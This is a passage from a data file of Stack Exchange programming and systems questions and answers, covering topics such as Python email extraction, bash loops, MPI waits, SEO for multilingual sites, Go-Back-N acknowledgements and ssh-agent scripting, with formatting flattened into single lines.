mailout.txt:abc@AABBCC.comxyz.abc@example.compytest@test.com" , "title": "Extracting emails from a file and writing them to another file" , "tags": "python;regex;csv;linux;email" , "accepted_answer": "Working with file handlesYou should always close the file handles that you open.You didn't close any of them.In addition,you should use with open(...) as ... syntax when working with files,so that they will be automatically closed when leaving the scope.Checking if a list is emptyThere is a much simpler way to check if a list is empty, instead of this:if(len(match_list)>0):The Pythonic way to write is simply this:if match_list:Unnecessary initializations and data storageThere's no need to initialize match_list before the loops.You reassign it anyway inside.You don't need to store all the lines from the first file into a list.You can process the input line by line and write output line by line.That can save a lot of memory, as you only need to keep one line in memory at a time,not the entire input file.Poor namingThe file handles are very poorly named.handleone and handletwo don't convey that one is for input the other is for output.ArrayItem doesn't follow the recommended naming convention of snake_case (see PEP8),and it doesn't describe what it really is.But f1 wins the trophy of worst name in the posted code.lines would have been better.Minor optimizationInstead of re-evaluating regular expressions in every loop,I use re.compile to compile them first, to make all uses efficient.However, this might not be necessary,as it seems recent versions of Python have a caching mechanism.Suggested implementationWith the above suggestions applied, the code becomes simpler and cleaner:import rere_pattern = re.compile(r'[\\w\\.-]+@[\\w\\.-]+')with open(input.txt) as fh_in: with open(mailout.txt, a+) as fh_out: for line in fh_in: match_list = re_pattern.findall(line) if match_list: fh_out.write(match_list[0]+\\r\\n) " } { "id": "_webapps.78310" , "question": "I've set up an alias for automated e-mail delivery from a Linux box. When an e-mail is sent from me@mydomain.com (using my Google Apps credentials) to my_alias@mydomain.com I can see it on my sent mail folder and not in inbox, where I expected it to be.How can I change that so I'd be able to receive the automated e-mails?" , "title": "Can't see e-mails sent from me to my alias in google apps" , "tags": "google apps email;google apps for work" } { "id": "_unix.290112" , "question": "So there's this rename(1) Perl thing. It suits my task precisely, except that I need it to basically cp files instead of mv.How to achieve that? I have quite a few rules of renaming, all expressed compactly in s|/foodir/|/|;s|/bardir/|/| form, and then a few lines of file patterns which I need to move copy.It looks somewhat like this:rename -v 's|/pars/|/|; s|/fts/|/|; s|innobase/include|include|' \\ storage/{innobase,xtradb}/pars/{pars0grm.cc,pars0grm.y,pars0lex.l,lexyy.cc} \\ storage/{innobase,xtradb}/fts/{fts0blex.cc,fts0blex.l,fts0pars.cc,fts0pars.y,fts0tlex.cc,fts0tlex.l} \\ storage/innobase/include/fts0[bt]lex.hI suspect that a short Perl snippet would shine at this but I don't speak Perl much.Any help?" , "title": "rename(1)-like script in Perl, but for copying files?" , "tags": "scripting;perl;file copy" } { "id": "_scicomp.27383" , "question": "I have a Boundary Value Problem for a system of ODEs as an approach of quasi-steady one dimensional flow in a rocket combustion chamber. The equations have the following shape:\\begin{equation}\\dfrac{d (\\rho u A_{p})}{dx} = \\chi(x) \\end{equation}\\begin{equation}\\dfrac{d ((\\rho u^{2} +p) A_{p})}{dx} -p \\dfrac{A_p}{dx}= \\psi(x, \\rho, u)\\end{equation}\\begin{equation}\\dfrac{d (p \\dfrac{\\gamma }{\\gamma - 1}+\\rho u^2 )A_{p} u}{dx} = \\chi(x) h(\\rho) \\end{equation}The gas state equation closes the system\\begin{equation}p = \\rho R_g T\\end{equation}The BC's are:At the beginning of the domain as Initial Values:T(0) = value; u(0) = 0, aprox.And at the end of the domain as closure, the mass flow provides the condition:\\begin{equation}\\rho u A_p = p(1+\\dfrac{\\gamma -1}2 M(u,T)^2)^\\frac{\\gamma}{\\gamma -1} kte \\end{equation}Must be assumed the values which are not the flow magnitudes $(\\rho, p, T, u)$, known.$A_p$ and its variation can be considered a known function related to $x$, $A_p (x)$I am currently applying a finite differences approach with an Explicit Euler's for the ODEs. I have a lot of problems to choose the best method for this problem. I have tried with different ideas, the most recent was the Shooting Method with the secant method for the nonlinearity.I am very lost with this problem and it is the main part of my Bachelors Degree Thesis, so I would appreciate any help." , "title": "Boundary Value Problem for CFD Case" , "tags": "pde;fluid dynamics;boundary conditions;nonlinear equations;navier stokes" } { "id": "_codereview.111597" , "question": "I'm developing backend for my mobile app by using gin-gonic and gorm ORM (mysql). But I'm not sure api and db handle huge amount requests if clients increased. for example I'm using my db struct as parameter, is this a problem for concurrency ? Here is my implementation:main.go:var i Implfunc main() { // #GIN# // r := gin.New() r.Use(gin.Logger()) r.Use(gin.Recovery()) // #GIN# // // #DB# // i.InitDB() // #DB# // // #TWITTER# // t := Twitter{} t.InitTwitter() // #TWITTER# // r.GET(/someEndpoint, func(c *gin.Context) { i.InsertUser(&user) go t.Ping(&i) c.JSON(200, gin.H{status: true}) }) r.Run(:5000)}twitter.go:// InitAPI TO-DOfunc (t *Twitter) InitAPI(token string, tokenSecret string) { t.API = anaconda.NewTwitterApi(token, tokenSecret) t.UserID = strings.Split(token, -)[0]}// Ping TO-DOfunc (t *Twitter) Ping(i *Impl) { t.GetHomeTimeLine(i) t.GetUsersFriends(i)}// GetHomeTimeLine TO-DOfunc (t *Twitter) GetHomeTimeLine(i *Impl) { v := url.Values{} v.Set(count, 200) v.Set(exclude_replies, true) results, err := t.API.GetHomeTimeline(v) if err != nil { log.Println(err.Error()) return } tweets := convertTweets(results, t.UserID) go i.CreateOrUpdateTimeline(tweets)}// GetUsersFriends TO-DOfunc (t *Twitter) GetUsersFriends(i *Impl) { v := url.Values{} v.Set(count, 200) v.Set(skip_status, true) friendsChannel := t.API.GetFriendsListAll(v) for { _friends, more := <-friendsChannel if _friends.Error != nil { log.Println(_friends.Error.Error()) break } friends := convertFriends(_friends.Friends, t.UserID) go i.CreateOrUpdateFriends(friends) if !more { break } }}db.go:// Impl TO-DOtype Impl struct { DB gorm.DB}// InitDB TO-DOfunc (i *Impl) InitDB() { var err error i.DB, err = gorm.Open(mysql, connection string) if err != nil { log.Fatalf(Got error when connect database, the error is '%v', err) } i.DB.LogMode(false) i.DB.DB().SetMaxIdleConns(10) i.DB.DB().SetMaxOpenConns(100)}// InsertUser TO-DOfunc (i *Impl) InsertUser(user *User) bool { if err := i.DB.Create(&user).Error; err != nil { log.Fatalf(InsertError: %s, err.Error()) return false } return true}" , "title": "Mobile app backend using Gin and Gorm ORM" , "tags": "mysql;go;web services;twitter;rest" } { "id": "_codereview.156719" , "question": "I have 2 groovy sql resultset, I need to combine the result set so that project_no should be unique and case_no can have multiple elements if there is a duplicate project_noBelow are the 2 groovy sql resultset[[project_no:0-10001,case_no:00492268],[project_no:0-10160,case_no:01957580],[project_no:1-10014,case_no:02022686]][[project_no:0-10160,case_no:01957590],[project_no:1-10014,case_no:019126],[project_no:1-2896337,case_no:02039596]]Desired List[[project_no:0-10001,case_nos:[00492268]], [project_no:0-10160,case_nos:[01957580,01957590]] ,[project_no:1-10014,case_nos:[02022686,019126]], [project_no:1-2896337,case_nos:[02039596]]]This is what I have triedcaseResultForAnalysis.each { ca -> def ptmp = [:], caseList = [] tempPrList.add(ca[project_no]) ptmp[project_no] = ca[project_no] caseList.add(ca[case_no]) if (caseList.size() > 0) { ptmp[case_nos] = caseList mergedCaseResult.push(ptmp) }}mergedCaseResult.each { ma -> def ptmp = [:], caseList = [] caseResultForUploads.each { cp -> if (!tempPrList.contains(cp[project_no])) { ptmp[project_no] = ma[project_no] caseList.add(cp[case_no]) } else if (ma[project_no] == cp[project_no]) { //if (!ma[case_nos].contains(cp[case_no])) List tmp = ma[case_nos] if (!tmp.contains(cp[case_no])) ma[case_nos].add(cp[case_no]) } } if (caseList.size() > 0) { ptmp[case_nos] = caseList mergedCaseResult.push(ptmp) }}//1st list caseResultForAnalysis//2nd List caseResultForUploads//desired List mergedCaseResultIs there a better way to do this, for better readability and less resource consumption?" , "title": "Combine lists of objects with no duplicates" , "tags": "groovy" } { "id": "_unix.192464" , "question": "for i in {1..40}do echo $idoneI got{1..40}and I would like to have something like123and so onso I can use the variable i inside a command's parameter." , "title": "Brace expansion not working in a script" , "tags": "bash;shell;shell script;brace expansion" , "accepted_answer": "In bash 3.0+ (as well as zsh and ksh93), {1..40} will expand to the numbers from 1-40 (inclusive). In a POSIX shell like dash (which is typical of /bin/sh in e.g. Ubuntu), it will not work (we call this issue a bashism).On systems with the GNU utilities, you can use seq to accomplish this:for i in $(seq 1 40)do echo $idoneTo be more portable, you'll have to manually increment $i in a while loop:i=1while [ $i -le 40 ]do echo $i i=$((i+1))doneThis portable version is also very slightly faster since it lacks the external command." } { "id": "_webmaster.11532" , "question": "I'm in the process of improving the SEO in one of our client's multilingual sites. Currently the site passes a user the site in their preferred language by checking for a language cookie set by the system last time it was visited. If the cookie does not exist it looks for an Accept-Language header from the browser and checks for a language supported by the site. If that fails it defaults to a language based on some preset defaults for GEO-Location. Once we have a language determined the site will return the page in the language determined with no change to the URL and with all the proper meta tags for that language. So if a Spanish speaking user requests domain.com/venue/access/ then they we'll see Spanish while an English speaker would see English. Of course if the user clicks a language select link with a query string including lang=?? (?? would be es,en, ect.) their cookie will be changed to that language and they'll get that language from that point forward.The problem with this approach is, while usually great for a person, crawlers (currently) don't pass an Accept-Language header when they request a page. This means that a result shown for people using Google, Bing, ect. will usually be in the default language or sometimes a completely different language depending on the path the crawler has taken to a page and how it decided to index it. This is killing our SEO and click-though outside of the default language.We're working with two ideas for how we're going to change handling of user language.Version 1 - All languages have a sub-directoryIf a user hits a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.User has cookie for language preference. Check the browser headers for a supported languageFallback to a site default language based on GEO-Location.Once a language has been determined the system will set a cookie, do a 301 direct and add the language sub-directory to the URL which will be parsed by mod-rewrite and passed as a query string parameter.Version 2 - All NEW languages have a sub-directoryThe first time a user hits the site if they hit a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.User has cookie for language preference. Check the browser headers for a supported languageIf a supported language has been detected the system will set a cookie. If the language is not the default language the system will do a 301 direct and add the language sub-directory to the URL if the language is not the default site language which will be parsed by mod-rewrite and passed as a query string parameter.Any input on the better option?How should we deal with Canonical URL's depending on which option we choose, should canonical URL's point to the main URL without the language sub-directory or should they point to the version for the current language sub-directory? The client would like, if possible, to have counters for social networking reflect the totals for a page in all languages and we're assuming having separate sub-directories for language will prevent this, unless we use a canonical to a single URL which will probably screw up crawlers and negate the whole point of the language changes.Is there an ideal solution I might be missing?" , "title": "Multilingual sites SEO and canonical" , "tags": "seo;canonical url;multilingual" , "accepted_answer": "I do not know the capabilities of the CMS you are using but this is what I would suggest.First of all, try avoiding URL parameters and go for a clear URL scheme. For a Contact page this could look like this:English version: http://domain.com/en/contactPolish version: http://domain.com/pl/kontaktOr:English version: http://en.domain.com/contactPolish version: http://pl.domain.com/kontaktThis way the URL is always easy to understand for the user. Do not use English URLs for non-English pages, so for a Polish page use kontakt instead of contact. After all, if an URL is to be comprehensible for a visitor, it needs to be in the language he or she has chosen to use.If you want to inform search engines about the language of the current page, you have three options that you can use in tandem:Send the HTTP header Content-Language: xx.Use the HTML META section: . Remember that this is obsolete in HTML5.Use the 'lang attribute in the HTML element. Hope this helps!" } { "id": "_codereview.135192" , "question": "I have the following piece of code which hides an element when a specified date was reached. I would like to get some tips about do's and don'ts.Specifically, I'm interested in:improvements brought to this codeavoid bad practicesAnd whatever you guys consider I should be careful about.var Timer = (function(){ var $el = $('#element'); function count() { setInterval(function() { check(); }, 1000); } function hide() { $el.hide(); } function check() { var currentDate = new Date(); var endingDate = new Date(July 25, 2016 11:06:00); if (currentDate.getTime() >= endingDate.getTime()) { hide(); } } return { count: count };})();Timer.count();" , "title": "Countdown module that hides an element when a specified date is reached" , "tags": "javascript;jquery;timer;revealing module pattern" } { "id": "_datascience.5023" , "question": "With respect to ROC can anyone please tell me what the phrase discrimination threshold of binary classifier system means? I know what a binary classifier is." , "title": "What is a discrimination threshold of binary classifier?" , "tags": "classification;graphs" , "accepted_answer": "Just to add a bit.Like it was mentioned before, if you have a classifier (probabilistic) your output is a probability (a number between 0 and 1), ideally you want to say that everything larger than 0.5 is part of one class and anything less than 0.5 is the other class.But if you are classifying cancer rates, you are deeply concerned with false negatives (telling some he does not have cancer, when he does) while a false positive (telling someone he does have cancer when he doesn't) is not as critical (IDK - being told you've cancer coudl be psychologically very costly). So you might artificially move that threshold from 0.5 to higher or lower values, to change the sensitivity of the model in general.By doing this, you can generate the ROC plot for different thresholds." } { "id": "_softwareengineering.237435" , "question": "I was reading this blog post about Hexagonal architecture and at the bottom it says:The Loopback pattern is an explicit pattern for creating an internal replacement for an external device.When I google for Loopback pattern I don't find any details about it. Does anyone know what the author is referring to? For curiosity's sake, I'd like to know how to implement this. " , "title": "What is the Loopback Pattern?" , "tags": "design patterns;architecture" , "accepted_answer": "As an example, I recently had a dependency on a remote Authorization service to validate user access tokens. But then I wrote a service that didn't need Authorization -- it just made calculations. So I implemented the AuthorizationService interface (name changed to protect innocent services) with a NoAuthorizationService that just returned true for validate(token).I could use that same stub interface to stub out calls to the actual Authorization service. But I considered it a production artifact rather than a test artifact, because I could use that for a live service to plug into if I didn't want to otherwise disable calls to that service.Think of 127.0.0.1, the loopback IP -- it just goes to localhost. It's a similar idea in a hexagonal architecture, where calls to a remote service are just looping back to the local service instead....In the more common Gang Of Four lingo, this would be the Null Object pattern. Or else a sentinel object that takes the place of the real thing but doesn't do anything." } { "id": "_codereview.74375" , "question": "I finally managed to work with socket.io namespace stuff which I'm using for building a chat module. Here, employees of multiple organizations can join and vhat with other employees of the respective organization. What I'm doing at here is creating separate namespaces for each organization. So, it'll be easier for me to manage all employees of different organizations.Here is my server side code:var express = require('express'), http = require('http'),app = express(),server = http.createServer(app),io = require('socket.io').listen(server);var nsp_1005 = io.of('/nsp_bucket_1005');nsp_1005.on('connection', function(socket){ console.log('someone connected to namespace bucket 1005'); socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){ console.log('addEmp - Org_Id : '+login_org_id); console.log('addEmp - Emp_Id : '+login_emp_id); console.log('addEmp - Emp_Name : '+login_emp_name); }); socket.on('disconnect', function(){ console.log('Someone disconnected from namespace bucket 1005.'); });});var nsp_1010 = io.of('/nsp_bucket_1010');nsp_1010.on('connection', function(socket){ console.log('someone connected to namespace bucket 1010'); socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){ console.log('addEmp - Org_Id : '+login_org_id); console.log('addEmp - Emp_Id : '+login_emp_id); console.log('addEmp - Emp_Name : '+login_emp_name); }); socket.on('disconnect', function(){ console.log('Someone disconnected from namespace bucket 1010.'); });});Those 1005, 1010 codes are Organization IDs. Sorry for the wired naming scheme. But, one thing right now I'm feeling the way I've made this code is not so good. Because I'm duplicating the code at the time of creating namespace for each organization. Can anyone suggest a better way to arrange this code?" , "title": "Socket namespace for a chat module" , "tags": "javascript;node.js;chat;namespaces;socket.io" , "accepted_answer": "Extract the common logic to a function,where the varying parts are parameters.Unless I'm missing something, this looks trivially easy to do:function setup_namespace(org_id) { var nsp = io.of('/nsp_bucket_' + org_id); nsp.on('connection', function(socket){ console.log('someone connected to namespace bucket ' + org_id); socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){ console.log('addEmp - Org_Id : ' + login_org_id); console.log('addEmp - Emp_Id : ' + login_emp_id); console.log('addEmp - Emp_Name : ' + login_emp_name); }); socket.on('disconnect', function() { console.log('Someone disconnected from namespace bucket ' + org_id); }); }); return nsp;}var nsp_1005 = setup_namespace(1005);var nsp_1010 = setup_namespace(1010);If you don't need to retain those variables,then you could remove the variables and just leave the calls:setup_namespace(1005);setup_namespace(1010);" } { "id": "_unix.233330" , "question": "I have the following problem:My home directory lies on the network and is mounted locally on home/.I can access it with my normal user account , but as root, I cannot.I do know about this question:https://serverfault.com/questions/571073/root-cannot-access-users-home-folder-shared-via-nfsHowever, this, from my limited understanding of linux systems etc., seems to be some server-side-solution, if it's even applicable in this case. But I need a client-side solution, since the admins won't change this for the time being.So I was wondering if there was some sort of option to make the superuser automatically act like user inside the sub-directory-tree /home/, whenever the superuser needs access there.As of now, the superuser can't even cd into my home directory.Please note, the solution should work for sudo and in case I choose to sudo su." , "title": "Make superuser act like some other user in certain directory tree" , "tags": "permissions;sudo;nfs;su" } { "id": "_scicomp.8308" , "question": "I hope this is not too off-topic here -- I've asked it on SO but I'm hoping I'll get better answers here!I'm a little bit confused about when I should call MPI_Wait (or other variants such as: MPI_Waitall, MPII_Waitsome, etc). Consider the following situations: (Note: pseudo code)Case (1)MPI_Isend (send_buffer, send_req); // Do local workMPI_Probe (recv_msg);MPI_Irecv (recv_buffer, recv_req);// wait for msgs to finishMPI_Wait (recv_req); // <--- Is this needed?MPI_Wait (send_req); // <--- How about this?So my confusion stems from MPI_Probe in this case. Since this is a blocking call, wouldn't that essentially mean it blocks the caller until message is received? If this is the case, then I think MPI_Waits are unnecessary here.How about the following case?Case (2)MPI_Isend (send_buffer, send_req); // Do local workMPI_Probe (recv_msg);MPI_Recv (recv_buffer);// wait for msgs to finishMPI_Wait (send_req); // <--- Is this necessary?Similar to the first case but MPI_Irecv is replaced with its blocking version. In this case, the message is definitely received by the time MPI_Wait is called which means MPI_Isend must have been finished ... Also as a separate question, what do we mean when we say MPI_Probe is blocking? Does it block until all of the message is received by the process or does it only block until meta-data (such as msg size, sender rank, etc) is received? In other words is MPI_Probe + MPI_Irecv any better than MPI_Probe + MPI_Recv ?" , "title": "When is MPI_Wait necessary for non-blocking calls?" , "tags": "parallel computing;mpi;c" , "accepted_answer": "Bill answered the first part, so I'll only answer the second question. An MPI send is blocking if it does not return until it is safe to modify the send buffer and a receive is blocking if it does not return until the receive buffer contains the newly-received message. In practice, outside of buffered sends (thanks, Hristo Iliev), this implies that communication may be required before returning. For example, MPI_Send is blocking because it cannot complete before the message has been buffered or sent. Implementations will usually eagerly buffer short messages, in which case MPI_Send appears to return immediately. This means that code looks like:MPI_Send(&x,count,MPI_INT,(rank+1)%size,1,comm);MPI_Recv(&y,count,MPI_INT,(size+rank-1)%size,1,comm,MPI_STATUS_IGNORE);is expected to deadlock for large messages, although it will likely succeed for small enough messages. Nonblocking sends and receives return MPI_Requests that must be completed before buffers are accessed/modified.Some operations are a bit different from sends and receives. MPI_Probe is blocking because it does not return until a message has been found, although the message need not have been received yet. MPI_Iprobe is non-blocking in that it always returns even if there is no message." } { "id": "_unix.282276" , "question": "I have a Server that runs haproxy to redirect incoming traffic to the correct process based on the subdomain. haproxy is configured to use different SSL certificates depending on the subdomain.The configuration works, however sometimes (quite often though), haproxy serves the wrong certificate (it serves the certificate of another subdomain). I have to refresh the page multiple times in order to get the correct one.Here is my haproxy configuration:haproxy.conf" , "title": "haproxy serving wrong SSL certificate for a subdomain" , "tags": "ssl;certificates;haproxy" } { "id": "_unix.351468" , "question": "Using pipes, one can create files with simple shell built-ins.{ echo #!/bin/bash \\ echo echo Hello, World! \\} > helloworld.shWith chmod these can then be made executable.$ chmod 755 helloworld.sh$ ./helloworld.shHello, World!I wonder whether it is possible to save the chmod step. Already, I found that umask cannot do the job. But perhaps someone knows an environment variable, bash trick, program to pipe through or other neat way to do it.Is it possible to have the file created with the executable bit already set?" , "title": "create executable files via piping" , "tags": "shell script;permissions;executable" , "accepted_answer": "It is not possible to create an executable file solely with a shell redirection operator. There is no portable way, and there is no way in bash either (in the source code, you can see that redirection calls do_redirection_internal which calls redir_open with the parameter mode set to 0666, and this in turn calls open with this mode).You're calling a shell command anyway, so add ; chmod +x somewhere in it. There's absolutely nothing wrong with that. One more line of code is not a problem. You need to do three things (create a file with some given content, make the file executable, execute it), so write three lines.There is a relatively obscure shell command that can create an executable file with some specified content: uudecode. But I would not recommend using it: it requires the input to be passed in a non-readable format, it bypasses the user's umask, and it's obscure.A sane alternative is to call bash /the/script instead of chmod +x /the/script && chmod +x, if you know what interpreter to execute the file with." } { "id": "_unix.327647" , "question": "I am trying to prioritize TCP traffic using ToS field in IP header.I am saturating the interface(ethernet) by sending 1GB data through iperf with ToS field set to 0x10 (Minimize-Delay).I then start another TCP client with default ToS (0).Expectation :My TCP client should not send data till iperf completes sending its data.Result:The data from my client is sent even tough iperf is sending packets with higher priority.I also tried to create the same scenario by creating 2 separate clients and allocating 0x10 and 0x08 ToS to respective clients using iptables.I used :iptables -A PREROUTING -t mangle -p tcp --sport 5000 -j TOS --set-tos Minimize-DelayI am still not able to prioritize one client over other. Altough I can see the packets marked with ToS in wireshark.I am using Ubuntu (14.04) with iptables version 1.4.21Can someone kindly help me solve the issue?ThanksVarun" , "title": "Why am I unable to prioritize TCP traffic using ToS fields?" , "tags": "iptables;tcp;qos" } { "id": "_cs.22316" , "question": "I have a cost function $f(X)=\\|\\hat{X}-X\\|_2$ to minimize which depends on a $s\\times s$ matrix $X$ where $\\hat{X}$ is given and $\\|X\\|_2=\\big(\\sum_{i,j}x_{ij}^2\\big)^{1/2} $. This matrix $X$ is generated by selecting only $s$ different rows from a matrix $B$ of dimension $n\\times s$. At the end, we are going to choose one matrix $X$ that generates the least cost $f(X)$ within all possible $n\\choose s$ submatrices of B. And so, this is a combinatorial problem that becomes complicated mostly when $n$ is big. So my question is can we find a suboptimal solution without going through all possible $n\\choose s$ submatrices and what kind of algorithm that I can apply to find such solution.My second question is can we apply a feature selection algorithm to find a suboptimal solution for a combinatorial problem." , "title": "Suboptimal Solution for a combinatorial problem" , "tags": "optimization;combinatorics;parallel computing" , "accepted_answer": "Mixed-integer quadratic programmingGiven your updated question, this can be formulated as a mixed-integer quadratic programming problem.Let $y_1,\\dots,y_n$ be $n$ zero-or-one integer variables, subject to the constraint $y_1+\\dots+y_n=s$, with the intent that if $y_i=1$ then we are selecting the $i$th row from $B$. Then for each $i,j$, the entry $(\\hat{X}-X)_{i,j}$ can be expressed as a linear function of $y_1,\\dots,y_n$. We are asking to minimize the objective function $\\sum_i,j (\\hat{X}-X)_{i,j}^2$, which is a quadratic objective function. Therefore, this can be expressed as a mixed-integer quadratic programming problem.So, you could try throwing an off-the-shelf solver for mixed-integer quadratic programming at this and see how it does.Closest vector problemIf everything in sight is an integer, I think this problem could also be approached as the problem of finding the closest point in a lattice to a given vector, the closest vector problem (CVP).Consider the following lattice over a $n+s^2$-dimensional space. For each $i$, we have a basis vector of the form$$(0,\\dots,0,K,0,\\dots,0,B_i,0,\\dots,0),$$where $K$ is a large constant (to be chosen later) and in the above, $K$ appears in the $i$th column, and $B_i$ is the $i$th row of $B$ and it appears starting in the $n+(i-1)s+1$th column. This gives us $n$ basis vectors, which form a basis for the lattice. Now we want to find the lattice point that is closest to the vector$$(0,\\dots,0,\\hat{X}_1,\\hat{X}_2,\\dots,\\hat{X}_s),$$where the first $n$ columns of this vector are zero and $\\hat{X}_i$ is the $i$th row of $\\hat{X}$. If we choose $K$ appropriately, the closest lattice point has a good chance of being a sum of just $s$ of the basis vectors and thus forming a solution to this problem.Now you could try to see if you can find any off-the-shelf CVP solvers, and see if they are effective at this problem. This is only going to work if everything is an integer: if you've got real numbers, I don't think this will work." } { "id": "_unix.275014" , "question": "I have a tar file that ends with .b and I don't know how to open it. Neither in windows, neither Linux I've been successful to open it.data.ext4.tar.bAnother tar that ends with .a could easily be opened in Windowsdata.ext4.tar.aWhat's is the difference? How can I possibly open the .b tar?This is from an Android OS image - a nandroid backup. .a consists of all the apps and hopefully .b consists of pictures" , "title": "Open tar-file that ends with .b" , "tags": "linux;tar" } { "id": "_webmaster.32816" , "question": "I'm quitely new to SEO and I don't know how to handle foreign content on a blog.I am writing content for two different blogs. The subjects of these blogs intersect partially, so there are sometimes situations in which I like to post exactly the same entry on both blogs. On the other hand I often see blogposts with a note like this post was first published on www.xyz.com.I thought to avoid the problem with double content I could use a canonical link in both cases. But all I read about using it cross-domain supposes to still have the same website.So what is the best practice to handle this, by avoidingthat the original site doesn't benefit from being the first-posted andthat the second site has disadvantages because of containing double content?edit: I assume the fact that google tries to serve different contents for given keywords. Sites which doesn't seem to be the original one of multiple found content are ranked down, based on the presumption the content was stolen or something else (this correct?). How to prevent this behaviour if content is legally doubled? Would the canonical-link be the right way or isn't there any, bercause it'd be against googles aims?" , "title": "how to handle foreign content on a blog (double content)" , "tags": "seo;google;canonical url;best practices" } { "id": "_cs.77138" , "question": "While Going through Exercise problem of Computer Networking A Top-Down Approach by Kurose and Ross, i encountered this problem.I am giving my approach and the point where i am stuck at.QuestionSuppose Host A sends 5 data segments to Host B, and the 2nd segment (sent from A) is lost. In the end, all 5 data segments have been correctly received by Host B.How many segments has Host A sent in total and how many ACKs has Host B sent in total for Go Back NGiven AnswerGoBackN: $A$ sends $9$ segments in total. They are initially sent segments $1, 2, 3, 4, 5 $and later resent segments $2, 3, 4, $and $5$. $B$ sends $8$ ACKs. They are $4$ ACKS with sequence number $1,$ and $4$ ACKS with sequence numbers $2, 3, 4,$ and $5.$My Approach /DoubtI agree with the number of transmission of data segment by Host $A$.But i have doubt regarding the Acknowledgement by Host $B$.Why?We know that GBN has sender side window size=$N$ while reciever side as only$1$ which is the reason that it cannot recieve Out of order packet.Now When Host $A$ sends entire packet $1,2,3,4,5$ where $2^{nd}$ gets lost then Host $B$ which is expecting Sequence number $1$.On recieving sequence number $1$, it will send ack as $2$i.e expecting sequence number $2$.As Sequence number gets lost , host $B$ will recieve sequence $3,4,5$ for which it will discard the packet as it is not the packet it is expecting.On recieving again sequence number $2,3,4,5$(retransmitted packet), Host $B$ will send the Acknowledgement.Total Acknowledgement i am getting is $5$ i.e ACk no for sequence number $1,2,3,4,5$ not $8$.Please help me out where i am wrong ??Thanks " , "title": "Number of Retransmission in case of Go Back N" , "tags": "computer networks" , "accepted_answer": "GBN is resending ACK's for the discarded packets .Excerpt from what I can find:The receiver's actions in GBN are also simple. If a packet with sequence number n is received correctly and is in-order (i.e., the data last delivered to the upper layer came from a packet with sequence number n-1), the receiver sends an ACK for packet n and delivers the data portion of the packet to the upper layer. In all other cases, the receiver discards the packet and resends an ACK for the most recently received in-order packet. Note that since packets are delivered one-at-a-time to the upper layer, if packet k has been received and delivered, then all packets with a sequence number lower than k have also been delivered. Thus, the use of cumulative acknowledgements is a natural choice for GBN." } { "id": "_unix.180207" , "question": "In my ssh_config file there are multiple entries for sites on the same server such as:Host site1 HostName 123.1.1.1 User myuser Port 13245 GSSAPIAuthentication no IdentityFile /home/myuser/.ssh/id_dsaHost site2...I use a passphrase protected key in order to log in to the remote server and this works fine. However, I'm attempting to create some bash scripts that synchronize files using rsync and would like for the script to to prompt me for the passphrase and then execute the rsync command. ssh-agent seems to be what I want to use but I'm having difficulty figuring it out. I'm looking for something like...HOST=site1:SRC=/var/fooDEST=/home/barSYNC=(rsync $SRC $HOST$DEST...)# rsync /var/foo site1:/home/bar...read -r -p Are you sure? [y/N] responseresponse=${response,,}if [[ $response =~ ^(yes|y)$ ]]then #check to see if the passphrase exists from prior execution of this script. if [ no ];then #use ssh-add to prompt for passphrase ssh-add #? ; #then execute rsync command ${SYNC[@]} else #execute rsync command ${SYNC[@]} fielse echo Operation aborted!fiThe only examples I've been able to find either suggest code be placed in .bashrc or .profile which forces me to enter a passphrase each time I start a shell or create an expect file which stores the passphrase, neither of which I desire to do. How can I achieve a prompt for the passphrase only once when I start my rsync script so that I can switch hosts and rerun the script as in my example." , "title": "How can I invoke a prompt for an ssh key passphrase during the execution of a script?" , "tags": "bash;shell script;ssh;rsync;prompt" , "accepted_answer": "First you may check whether ssh-agent is running and start it if not:if ! [ -n $SSH_AUTH_SOCK ] || ! { ssh-add -l &>/dev/null; rc=$?; [ $rc -eq 0 ] || [ $rc -eq 1 ];}; then echo Starting agent... eval $(ssh-agent -s)fissh-add -l exits with code 1 if there are no identities and with code 2 if it cannot connect to ssh-agent.Then you add the passphrase for the key you need.ssh-add ~/path/to/keyfile" } { "id": "_unix.9221" , "question": "I'm running wget like this:wget --mirror --adjust-extension --convert-links --no-cookies http://tshepang.net -o log-mainI get a bunch of these messages:Last-modified header missing -- time-stamps turned off.I suppose that means that pages keep getting re-downloaded, even though I have them locally.NOTE: I want this so that I don't have to re-download existing files each time I run the command mirror." , "title": "How to work around missing 'last-modified' headers?" , "tags": "wget;web" , "accepted_answer": "Did you try adding the -c parameter?Excerpt from wget manual:-c --continueBeginning with Wget 1.7, if you use -c on a non-empty file, and it turns out that the server does not support continued downloading, Wget will refuse to start the download from scratch, which would effectively ruin existing contents. If you really want the download to start from scratch, remove the file.Also beginning with Wget 1.7, if you use -c on a file which is of equal size as the one on the server, Wget will refuse to download the file and print an explanatory message. The same happens when the file is smaller on the server than locally (presumably because it was changed on the server since your last download attempt)---because ''continuing'' is not meaningful, no download occurs.On the other side of the coin, while using -c, any file that's bigger on the server than locally will be considered an incomplete download and only (length(remote) - length(local)) bytes will be downloaded and tacked onto the end of the local file. This behavior can be desirable in certain cases---for instance, you can use wget -c to download just the new portion that's been appended to a data collection or log file.To my knowledge it should skip files that are already downloaded and of the same size." } { "id": "_codereview.144492" , "question": "Have some ideas to improve code from this discussion (Find valid triples for a sorted list of integers), and post new code in a new post.The new idea is, trying to remember where low bound searched last time, and when doing the search, only search from the lower bound where last search is satisfied, since with j increase each time, the 3rd dimension of satisfied triple could only increase. More specifically, these two lines, #upperBoundIndex = findSum(numbers, j+1, numbers[i]+numbers[j]) # previous code upperBoundIndex = findSum(numbers, upperBoundIndex, numbers[i] + numbers[j]) I'm working on a problem in which I have an input array, sorted positive unique integers, and have to try to find all possible triples \\$(x,y,z)\\$ which satisfy \\$x+y>z\\$ and \\$x 3\\$, and \\$(3,4,5)\\$ is a valid triple since \\$3<4<5\\$ and \\$3+4>5\\$.This code leverages binary search, and I'm wondering if this can be improved in terms of time complexity. Please also help to point out any code issues/bugs or improvement areas.BTW, I am not using enumeration feature of Python since I want to keep j greater than i, and leverage the feature in my logics.from __future__ import divisiondef findSum(numbers, startIndex, value): find index whose value is less than input parameter value (as upper bound) ,and the greatest possible value possible :param numbers: sorted value to search, may contains duplicates :param startIndex: where to search from, inclusive :param value: upper bound to search :return: the index whose value is less than upper bound value low = startIndex high = len(numbers) - 1 while low <= high: mid = 